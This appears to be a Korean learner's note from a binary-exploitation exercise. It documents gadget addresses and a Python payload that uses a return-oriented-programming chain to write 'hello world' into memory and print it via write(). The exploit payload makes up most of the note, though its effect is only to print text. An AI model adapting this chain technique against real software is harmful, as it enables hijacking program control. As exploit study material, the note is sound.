writable인 곳에 넣어야 한다.
IDA에서 확인 0x080491b0
0xbfffe500에 값 들어가기 시작
0x080480db : popal ; ret
0x080480d8 : rep stosb byte ptr es:[edi], al ; ret
rep있으면 ecx가 0이 될때까지 반복
al의 값을 edi에 있는 주소의 값으로 넣는다.
AL은 EAX의 마지막 8bit(1byte)
처음 도전: r < <(python -c 'print "\xdb\x80\x04\x08"+"\x5d\x82\x04\x08"+"AAAA"+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"\x68\x00\x00\x00"'
r < <(python -c 'print
"\xdb\x80\x04\x08"+"\x0b\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x68\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x0c\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x65\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x0d\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x0e\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x0f\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6f\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x10\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x20\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x11\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x77\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x12\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6f\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x13\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x72\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x14\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x15\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x64\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xdb\x80\x04\x08"+"\x16\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x0a\x00\x00\x00"+"\xd8\x80\x04\x08"+
"\xf7\x80\x04\x08"+"AAAA"+"\x01\x00\x00\x00"+"\x0b\x91\x04\x08"+"\x0b\x00\x00\x00"')
write(fd, 주소, 바이트수)
fd: stdout이니까 1을 넣는다.